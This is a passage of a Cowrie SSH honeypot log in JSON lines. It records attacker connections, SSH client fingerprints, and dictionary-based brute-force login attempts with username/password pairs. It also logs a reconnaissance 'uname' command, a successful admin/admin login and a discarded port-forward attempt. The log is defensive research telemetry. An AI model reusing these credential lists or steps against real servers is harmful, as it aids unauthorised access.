0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:22:36.201755Z","src_ip":"8.218.166.49","session":"027b41b4657a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.8","message":"Connection lost after 22.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:22:56.087690Z","src_ip":"8.218.166.49","session":"f25552e52f6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:22:59.243509Z","src_ip":"8.218.166.49","session":"196c70a3d806","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:23:03.335684Z","src_ip":"8.218.166.49","session":"354429b6c254","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:23:27.955508Z","src_ip":"8.218.166.49","session":"0e039c71a0b5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:23:27.959379Z","src_ip":"8.218.166.49","session":"0e039c71a0b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":37623,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd7faabdad42","protocol":"ssh","message":"New connection: 2.57.121.112:37623 (10.17.0.5:22) [session: dd7faabdad42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:23:36.540741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:23:36.545567Z","src_ip":"2.57.121.112","session":"dd7faabdad42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:23:36.642254Z","src_ip":"2.57.121.112","session":"dd7faabdad42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:23:37.052475Z","src_ip":"8.218.166.49","session":"196c70a3d806","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"delrio","message":"login attempt [admin/delrio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:23:37.104775Z","src_ip":"2.57.121.112","session":"dd7faabdad42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"delicious","message":"login attempt [admin/delicious] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:23:38.204251Z","src_ip":"2.57.121.112","session":"dd7faabdad42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dekker","message":"login attempt [admin/dekker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:23:39.304078Z","src_ip":"2.57.121.112","session":"dd7faabdad42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"deadwood","message":"login attempt [admin/deadwood] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:23:40.403011Z","src_ip":"2.57.121.112","session":"dd7faabdad42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"de7MDF","message":"login attempt [admin/de7MDF] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:23:41.503472Z","src_ip":"2.57.121.112","session":"dd7faabdad42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:23:42.604524Z","src_ip":"2.57.121.112","session":"dd7faabdad42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:23:45.341029Z","src_ip":"8.218.166.49","session":"354429b6c254","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"20.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 20.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:23:48.129807Z","src_ip":"8.218.166.49","session":"0e039c71a0b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"110.3","message":"Connection lost after 110.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:23:48.134526Z","src_ip":"8.218.166.49","session":"0e039c71a0b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"kingbase","message":"login attempt [kingbase/kingbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:23:48.309775Z","src_ip":"8.218.166.49","session":"027b41b4657a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:23:56.035940Z","src_ip":"8.218.166.49","session":"027b41b4657a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":14882,"dst_ip":"10.17.0.5","dst_port":22,"session":"413bdaad383c","protocol":"ssh","message":"New connection: 87.251.64.176:14882 (10.17.0.5:22) [session: 413bdaad383c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:24:17.377764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:24:17.383035Z","src_ip":"87.251.64.176","session":"413bdaad383c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:24:17.480360Z","src_ip":"87.251.64.176","session":"413bdaad383c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:24:17.771809Z","src_ip":"87.251.64.176","session":"413bdaad383c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:24:17.871418Z","session":"413bdaad383c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:24:17.969564Z","src_ip":"87.251.64.176","session":"413bdaad383c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:24:18.201921Z","src_ip":"87.251.64.176","session":"413bdaad383c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":46324,"dst_ip":"10.17.0.5","dst_port":22,"session":"3df591bbbf8a","protocol":"ssh","message":"New connection: 8.218.166.49:46324 (10.17.0.5:22) [session: 3df591bbbf8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:24:38.583775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:24:38.594261Z","src_ip":"8.218.166.49","session":"3df591bbbf8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:24:38.842017Z","src_ip":"8.218.166.49","session":"3df591bbbf8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"user2","message":"login attempt [user2/user2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:24:45.163972Z","src_ip":"8.218.166.49","session":"3df591bbbf8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.9","message":"Connection lost after 8.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:24:47.451677Z","src_ip":"8.218.166.49","session":"3df591bbbf8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":24455,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad43bee50b99","protocol":"ssh","message":"New connection: 2.57.121.25:24455 (10.17.0.5:22) [session: ad43bee50b99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:25:14.635521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:25:14.639480Z","src_ip":"2.57.121.25","session":"ad43bee50b99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:25:14.733937Z","src_ip":"2.57.121.25","session":"ad43bee50b99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"eddy","message":"login attempt [user/eddy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:25:15.190022Z","src_ip":"2.57.121.25","session":"ad43bee50b99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"dustydog","message":"login attempt [user/dustydog] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:25:16.291732Z","src_ip":"2.57.121.25","session":"ad43bee50b99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"dupa","message":"login attempt [user/dupa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:25:17.392826Z","src_ip":"2.57.121.25","session":"ad43bee50b99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"ducksoup","message":"login attempt [user/ducksoup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:25:18.495856Z","src_ip":"2.57.121.25","session":"ad43bee50b99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"drop","message":"login attempt [user/drop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:25:19.593861Z","src_ip":"2.57.121.25","session":"ad43bee50b99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:25:20.694332Z","src_ip":"2.57.121.25","session":"ad43bee50b99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":41672,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b6aa0c9a516","protocol":"ssh","message":"New connection: 8.218.166.49:41672 (10.17.0.5:22) [session: 5b6aa0c9a516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:25:27.888050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:25:27.893319Z","src_ip":"8.218.166.49","session":"5b6aa0c9a516","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":41678,"dst_ip":"10.17.0.5","dst_port":22,"session":"1250553c7741","protocol":"ssh","message":"New connection: 8.218.166.49:41678 (10.17.0.5:22) [session: 1250553c7741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:25:33.744286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:25:33.749432Z","src_ip":"8.218.166.49","session":"1250553c7741","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:25:44.105026Z","src_ip":"8.218.166.49","session":"1250553c7741","protocol":"ssh"}
